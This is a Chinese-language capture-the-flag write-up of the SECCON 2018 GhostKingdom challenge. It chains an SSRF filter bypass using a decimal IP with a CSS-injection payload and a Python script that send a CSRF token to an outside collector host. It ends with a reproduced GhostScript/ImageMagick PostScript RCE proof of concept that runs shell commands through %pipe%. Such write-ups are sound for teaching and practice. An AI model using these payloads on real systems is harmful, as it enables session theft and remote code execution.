SECCON 2018 GhostKingdom writeup

赛后复现

  题目给出的链接如下:



  首页:



  这里可以看到from internet,说明后面可能会用到SSRF,以达到from localtion的效果。

  注册新用户登录进来可以看到:



  • Upload image
      上传图片的功能只能由本地网络登录使用,那么我们第一个目标就是要成为本地网络。

  • Message to admin
      这里可以输入信息,然后发给admin。




      Normal是没有CSS的:



      而Emergency有CSS:



      它的链接如下:

    1
    http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=aaa&action=msgadm2

  经过测试发现css的值可以被base64解密:

1
2
3
c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9
解密结果为:
span{background-color:red;color:yellow}

  再对msg进行XSS测试后并没有发现安全隐患。加上css参数可疑,所以这里可以大胆怀疑它考的可能是利用CSS来进行XSS

  • Take a screenshot
      第三个功能是对指定的地址进行访问并得到网页截图:



      可以看出这里就是SSRF的入口。

  当我们利用这个接口访问http://127.0.0.1时发现:




1
You can not use URLs that contain the following keywords: 127, ::1, local


  后台做了过滤,我们可以使用10进制ip访问,http://2130706433



  可以看到我们现在的身份是localtion

  通过本地的测试我们可以知道用户登录是使用GET方式的:
1
http://ghostkingdom.pwn.seccon.jp/?user=200000&pass=123456&action=login


  但是Upload images应该是POST请求,我们无法通过SSRF来发送一个POST包,所以我们应该要找到一些凭证,使我们可以在远程登录本地的权限。

  在send to admin的页面中,可以发现一个csrf input
1
2
3
4
<span class="msg">Message: aaa</span>
<input type="hidden" name="csrf" value="6a70e8d3466ab7339dd17d">
<input type="hidden" name="action" value="msgadm3">
<input type="submit" class="btn" value="Send to admin">


  它的值跟我们的cookie是一样的:



  所以我们可以尝试拿出这个cookie,然后在我们浏览器上伪造身份。而且这个cookie出现的地方就在存在XSS的地方。可以推测考点就在这。

  我们可以构造一下CSS的XSS payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
input[value^="0"] {background: url(http://server?csrf=0)}
input[value^="1"] {background: url(http://server?csrf=1)}
input[value^="2"] {background: url(http://server?csrf=2)}
input[value^="3"] {background: url(http://server?csrf=3)}
input[value^="4"] {background: url(http://server?csrf=4)}
input[value^="5"] {background: url(http://server?csrf=5)}
input[value^="6"] {background: url(http://server?csrf=6)}
input[value^="7"] {background: url(http://server?csrf=7)}
input[value^="8"] {background: url(http://server?csrf=8)}
input[value^="9"] {background: url(http://server?csrf=9)}
input[value^="a"] {background: url(http://server?csrf=a)}
input[value^="b"] {background: url(http://server?csrf=b)}
input[value^="c"] {background: url(http://server?csrf=c)}
input[value^="d"] {background: url(http://server?csrf=d)}
input[value^="e"] {background: url(http://server?csrf=e)}
input[value^="f"] {background: url(http://server?csrf=f)}


  为了简单,我这里写了一个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*-coding:utf-8 -*-

import requests
import base64
from urllib.parse import quote
from time import sleep


real = 'http://ghostkingdom.pwn.seccon.jp/?user=200000&pass=123456&action=login'
login = 'http://2130706433/?user=200000&pass=123456&action=login'
# http://ghostkingdom.pwn.seccon.jp/?action=msgadm
payload = 'input[value^="%s"] {background: url(http://j1jdaj.ceye.io?csrf=%s)}'
url = 'http://2130706433/?css={}&msg=aaa&action=msgadm2'
vul = 'http://ghostkingdom.pwn.seccon.jp/?url={}&action=sshot2'

s = requests.Session()
req = s.get(real)
sleep(2)
s.get(vul.format(login))
sleep(2)
tmp = ''
for value in '0123456789abcdef':
temp = payload % (value, value)
tmp += temp + '\n'

print(tmp)
tmp = base64.b64encode(tmp.encode()).decode()
tmp = tmp.replace('=', '')
tmp = url.format(tmp)
print(tmp)
t = quote(tmp, 'utf-8')
# print(t)
req = s.get(vul.format(t))


  运行后就能得到cookie中的一个值,然后逐一爆破。



  这里需要根据服务器返回的值手动更新[value^="%s"]。最后会得到如:
1
[value^="48393e942c8ec6e114ab99%s"]


  将cookie置换后就能开启上传功能:






  我上传一个错误的jpg。


  点击转换成GIF,可以得到一堆报错信息:

1
convert: Not a JPEG file: starts with 0x61 0x61 `/var/www/html/images/b3478fc02b23bdd897320b688a086b40.jpg' @ error/jpeg.c/JPEGErrorHandler/316. convert: no images defined

  拿去Google,可以找到这是ImageMagick的框架,而ImageMagick又爆出过很多漏洞,所以我们可以找找可利用的exp。

  这里真正的漏洞在GhostScript,被ImageMagick用来转换、裁剪图片。我们可以在exploit-database中找到利用脚本。链接:https://www.exploit-db.com/exploits/45243/

  POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This one works for me on the version in Ubuntu:
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

For CentOS, try this:
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

  这里我们要使用centos的版本,上传poc后:



  get flag:

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat ./FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

  




  SECCON{CSSinjection+GhostScript/ImageMagickRCE}

  flag也说明了这道题的考点。

# CTF

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×